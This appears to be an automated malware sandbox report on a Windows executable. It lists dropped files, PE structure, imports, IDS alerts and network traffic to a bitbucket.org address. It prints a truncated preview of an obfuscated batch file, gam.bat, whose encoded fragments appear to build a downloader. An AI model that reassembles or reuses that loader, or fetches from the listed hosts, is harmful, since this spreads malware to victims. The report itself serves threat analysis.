EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 29 Number of non-executed functions: 36
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 4640 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6592 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: 0XVZC3kfwL.exe

Simulations

Behavior and APIs

Time	Type	Description
13:04:51	API Interceptor	28x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.166.143.49	http://jasonj002.bitbucket.io/	Get hash	malicious	HTMLPhisher	Browse	jasonj002.bitbucket.io/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bitbucket.org	nTHivMbGpg.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	sRMytgfRpJ.exe	Get hash	malicious	RedLine	Browse	185.166.143.49
	envifa.vbs	Get hash	malicious	Unknown	Browse	185.166.143.48
	sostener.vbs	Get hash	malicious	Njrat	Browse	185.166.143.50
	S0FTWARE.exe	Get hash	malicious	Go Injector, Vidar, Xmrig	Browse	185.166.143.50
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	185.166.143.48
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	185.166.143.50
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	185.166.143.50
	https://www.getcoloringpages.com/coloring/359	Get hash	malicious	Unknown	Browse	185.166.143.48
	HelperLibrary.ps1	Get hash	malicious	Unknown	Browse	185.166.143.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	nTHivMbGpg.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	main_ppc.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	yakov.arm.elf	Get hash	malicious	Mirai	Browse	18.191.162.167
	yakov.arm7.elf	Get hash	malicious	Mirai	Browse	108.128.211.34
	novo.arm5.elf	Get hash	malicious	Moobot	Browse	54.171.230.55
	novo.arm64.elf	Get hash	malicious	Mirai, Moobot	Browse	54.218.85.75
	novo.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	108.156.207.191
	novo.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	54.124.163.228
	novo.ppc440fp.elf	Get hash	malicious	Mirai, Moobot	Browse	54.184.182.174
	novo.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	13.242.57.236

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	nTHivMbGpg.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	file.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.166.143.49
	PO-A1702108.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	185.166.143.49
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.166.143.49
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.166.143.49
	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Get hash	malicious	AgentTesla	Browse	185.166.143.49
	doc_20241002_383767466374663543.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.166.143.49

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.773832331134527
Encrypted:	false
SSDEEP:	3:Nlllulp/t:NllU
MD5:	5442F9D4E495E0E893EBB53D1D5FEAD0
SHA1:	E6A541BDA8343980B1295901A05C1CEFBE3478CB
SHA-256:	897E70C15D10F0405D7C5FF51A72638C434E84C32B64A2C319236D6C7EC82FA8
SHA-512:	59815DFE6C0569DC3D26F893B04AA0E37852CDEB293705A886A804E9BAEFABB60577652C7CC31A60FBD2F13530BE9232B1C227BDE24D8D8860AAE621E8033656
Malicious:	false
Reputation:	low
Preview:	@...e.................................P.h.......................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\gam.bat

Download File

Process:	C:\Users\user\Desktop\0XVZC3kfwL.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (720), with CRLF line terminators
Category:	dropped
Size (bytes):	12979
Entropy (8bit):	5.612187145250781
Encrypted:	false
SSDEEP:	192:vOgsMvGCbeWP/tuHFB1f22QrXUHcVZBZNc02BrfF0e5VGqBw3m77apwqx/nLTLvO:m2xibzfAZ2Bue55ka7ti3VfEE0
MD5:	C0BCEC2ED74752892D9B06A8F86965C7
SHA1:	5695D0E896B986C18AD3CD3F5D6A176283E1BF4D
SHA-256:	E98CBF1C5F26F7A5A2C77B33F87D85A10EC20D82A2B6F82E271EE881C1A28DC6
SHA-512:	52E16D35B38A52F71995E056A3A3C2E0B0229EA84656DDDC59C7D963A4DC27CBCD67C5ED36D5FD7445CA1052D019750656EAB2694BA7D2C607B4107615F7F356
Malicious:	false
Reputation:	low
Preview:	@echo off..GOTO ............:............SET ..........=h#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I#..GOTO ............:............SET ..........=ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C#..GOTO ............:............SET ..........=#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#G8#cgBG#EE#bQBj#G8#LwBz#GQ#YQBv#Gw#b..GOTO ............:............SET ..........=s#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#..GOTO ..........2..:............SET ..........=Bv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#B..GOTO ..........9..:............SET ....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_byhsqu4j.ncv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jfau4nce.jli.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mj41achv.n4w.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rvwo4ld4.pqp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.173539047481159
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0XVZC3kfwL.exe
File size:	192'512 bytes
MD5:	af93d5a246b37ce552356e6b61c9aec9
SHA1:	e3f611e2601ff2bad622e2b1ccbdf8626f5cfd47
SHA256:	278a762f5ed598ccee88a977853a7e6011759220b1095461f1c3e756a1ec725c
SHA512:	6ca6791f72191aefcffb3e2e99b8035b082962f604263f6cf85727eadb9b6b7a9283d9259ebef7087dc567932a531143483cc4aab6787172ff3788edecc43879
SSDEEP:	3072:3HwrxmMpvDITZg1S25vWp1icKAArDZz4N9GhbkENEkdY8r:ArMZNp0yN90vEA1
TLSH:	5A146C0A67E420AAE4B5537459F2C2735A317CB15B74D6AF12C4AD7F3E236C0A532B07
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Kr..%!..%!..%!&. ..%!&.& ..%!&.! ..%!&.$ ..%!..$!b.%!&.- ..%!&..!..%!&.' ..%!Rich..%!................PE..d....y............"

File Icon


Icon Hash:	823092d2ec684430

Static PE Info

General

Entrypoint:	0x140008460
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0xE28C79B4 [Sun Jun 11 09:36:52 2090 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	4cea7ae85c87ddc7295d39ff9cda31d1

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FD14CF16820h
dec eax
add esp, 28h
jmp 00007FD14CF1609Bh
int3
int3
int3
int3
int3
int3
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], edi
inc ecx
push esi
dec eax
sub esp, 000000B0h
and dword ptr [esp+20h], 00000000h
dec eax
lea ecx, dword ptr [esp+40h]
call dword ptr [00000F8Dh]
nop
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ebx, dword ptr [eax+08h]
xor edi, edi
xor eax, eax
dec eax
cmpxchg dword ptr [000046C2h], ebx
je 00007FD14CF1609Ch
dec eax
cmp eax, ebx
jne 00007FD14CF160AFh
mov edi, 00000001h
mov eax, dword ptr [000046B8h]
cmp eax, 01h
jne 00007FD14CF160ACh
lea ecx, dword ptr [eax+1Eh]
call 00007FD14CF166B3h
jmp 00007FD14CF16119h
mov ecx, 000003E8h
call dword ptr [00000F3Bh]
jmp 00007FD14CF16056h
mov eax, dword ptr [00004693h]
test eax, eax
jne 00007FD14CF160F5h
mov dword ptr [00004685h], 00000001h
dec esp
lea esi, dword ptr [000011BEh]
dec eax
lea ebx, dword ptr [0000119Fh]
dec eax
mov dword ptr [esp+30h], ebx
mov dword ptr [esp+24h], eax
dec ecx
cmp ebx, esi
jnc 00007FD14CF160C1h
test eax, eax
jne 00007FD14CF160C1h
dec eax
cmp dword ptr [ebx], 00000000h
je 00007FD14CF160ACh
dec ecx
mov edx, 5E523070h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa2b4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf000	0x1ff2a	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xe000	0x42c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x2c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9a68	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9010	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9148	0x520	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7e40	0x8000	d22d8a48c14d2185814d2ed24fb0aed1	False	0.546173095703125	data	6.092855112591348	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2340	0x3000	3748ff8966297360bdba725e2d585c23	False	0.318359375	data	3.84344715350442	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x1f00	0x1000	f198899505f620007167379f74f8141c	False	0.083251953125	data	1.0384025678015962	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xe000	0x42c	0x1000	2d9ecb32a70228f2b07b654e216a79ee	False	0.156005859375	data	1.4378876073270839	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xf000	0x1ff2a	0x20000	2c9a76bd28e5ad47d67b408069bdcbbe	False	0.6653289794921875	data	6.62368679991532	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x2c	0x1000	cf22972a59e8c2a2ad0453d649f2025d	False	0.017578125	data	0.10781936458684958	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xfac8	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0x128e4	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0x12f4c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x13234	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4569672131147541
RT_ICON	0x1341c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x13544	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x143ec	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x14c94	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.783410138248848
RT_ICON	0x1535c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3829479768786127
RT_ICON	0x158c4	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004662673505254
RT_ICON	0x23298	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5300829875518672
RT_ICON	0x25840	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6137429643527205
RT_ICON	0x268e8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.703688524590164
RT_ICON	0x27270	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.425531914893617
RT_ICON	0x276d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024			0.32978723404255317
RT_ICON	0x27b40	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.19394934333958724
RT_ICON	0x28be8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216			0.1354771784232365
RT_DIALOG	0x2b190	0x2f2	data	English	United States	0.4389920424403183
RT_DIALOG	0x2b484	0x1b0	data	English	United States	0.5625
RT_DIALOG	0x2b634	0x166	data	English	United States	0.5223463687150838
RT_DIALOG	0x2b79c	0x1c0	data	English	United States	0.5446428571428571
RT_DIALOG	0x2b95c	0x130	data	English	United States	0.5526315789473685
RT_DIALOG	0x2ba8c	0x120	data	English	United States	0.5763888888888888
RT_STRING	0x2bbac	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States	0.6214285714285714
RT_STRING	0x2bc38	0x520	data	English	United States	0.4032012195121951
RT_STRING	0x2c158	0x5cc	data	English	United States	0.36455525606469
RT_STRING	0x2c724	0x4b0	data	English	United States	0.385
RT_STRING	0x2cbd4	0x44a	data	English	United States	0.3970856102003643
RT_STRING	0x2d020	0x3ce	data	English	United States	0.36858316221765913
RT_RCDATA	0x2d3f0	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2d3f8	0xde6	Microsoft Cabinet archive data, Windows 2000/XP setup, 3558 bytes, 1 file, at 0x2c +A "gam.bat", ID 666, number 1, 1 datablock, 0x1503 compression	English	United States	1.0030916245081507
RT_RCDATA	0x2e1e0	0x4	data	English	United States	3.0
RT_RCDATA	0x2e1e4	0x24	data	English	United States	0.7777777777777778
RT_RCDATA	0x2e208	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2e210	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2e218	0x4	data	English	United States	3.0
RT_RCDATA	0x2e21c	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2e224	0x4	data	English	United States	3.0
RT_RCDATA	0x2e228	0xf	ASCII text, with no line terminators	English	United States	1.5333333333333334
RT_RCDATA	0x2e238	0x4	data	English	United States	3.0
RT_RCDATA	0x2e23c	0x4	data	English	United States	3.0
RT_RCDATA	0x2e240	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2e248	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_GROUP_ICON	0x2e250	0x30	data			0.9166666666666666
RT_GROUP_ICON	0x2e280	0xbc	data	English	United States	0.6117021276595744
RT_VERSION	0x2e33c	0x408	data	English	United States	0.42248062015503873
RT_MANIFEST	0x2e744	0x7e6	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.37734915924826906

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, LoadLibraryExA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, WaitForSingleObject, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, ExpandEnvironmentStringsA, LocalAlloc, lstrcmpA, FindNextFileA, GetCurrentProcess, FindFirstFileA, GetModuleFileNameA, GetShortPathNameA, Sleep, GetStartupInfoW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, GetTickCount, EnumResourceLanguagesA, GetDiskFreeSpaceA, MulDiv, FindClose
GDI32.dll	GetDeviceCaps
USER32.dll	ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetSystemMetrics, CallWindowProcA, SetWindowTextA, MessageBoxA, SendDlgItemMessageA, SendMessageA, GetDlgItem, DialogBoxIndirectParamA, GetWindowLongPtrA, SetWindowLongPtrA, SetForegroundWindow, ReleaseDC, EnableWindow, CharNextA, LoadStringA, CharPrevA, EndDialog, MessageBeep, ExitWindowsEx, SetDlgItemTextA, CharUpperA, GetDesktopWindow, PeekMessageA, GetDlgItemTextA
msvcrt.dll	?terminate@@YAXXZ, _commode, _fmode, _acmdln, __C_specific_handler, memset, __setusermatherr, _ismbblead, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, _XcptFilter, memcpy_s, _vsnprintf, _initterm, memcpy
COMCTL32.dll
Cabinet.dll
VERSION.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T19:04:55.491964+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49705	185.166.143.49	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 19:04:53.002674103 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:53.002710104 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:53.002826929 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:53.057089090 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:53.057116032 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:53.695092916 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:53.695177078 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:53.766855001 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:53.766890049 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:53.767249107 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:53.820209026 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:53.908698082 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:53.951423883 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.194798946 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.194812059 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.194830894 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.194838047 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.194863081 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.194878101 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.194900036 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:54.194900036 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:54.194915056 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.194928885 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.194937944 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:54.194964886 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:54.276596069 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.276684046 CEST	443	49704	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.276773930 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:54.276773930 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:54.285245895 CEST	49704	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:54.331137896 CEST	49705	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:54.331244946 CEST	443	49705	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:54.331355095 CEST	49705	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:54.331629992 CEST	49705	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:54.331666946 CEST	443	49705	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:55.073693037 CEST	443	49705	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:55.082010984 CEST	49705	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:55.082056999 CEST	443	49705	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:55.491982937 CEST	443	49705	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:55.492012978 CEST	443	49705	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:55.492027998 CEST	443	49705	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:55.492109060 CEST	49705	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:55.492132902 CEST	443	49705	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:55.492147923 CEST	49705	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:55.492178917 CEST	49705	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:55.577543974 CEST	443	49705	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:55.577619076 CEST	49705	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:55.577625990 CEST	443	49705	185.166.143.49	192.168.2.8
Oct 2, 2024 19:04:55.577668905 CEST	49705	443	192.168.2.8	185.166.143.49
Oct 2, 2024 19:04:55.578078985 CEST	49705	443	192.168.2.8	185.166.143.49

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 19:04:52.988734961 CEST	57818	53	192.168.2.8	1.1.1.1
Oct 2, 2024 19:04:52.995832920 CEST	53	57818	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 19:04:52.988734961 CEST	192.168.2.8	1.1.1.1	0xf74b	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
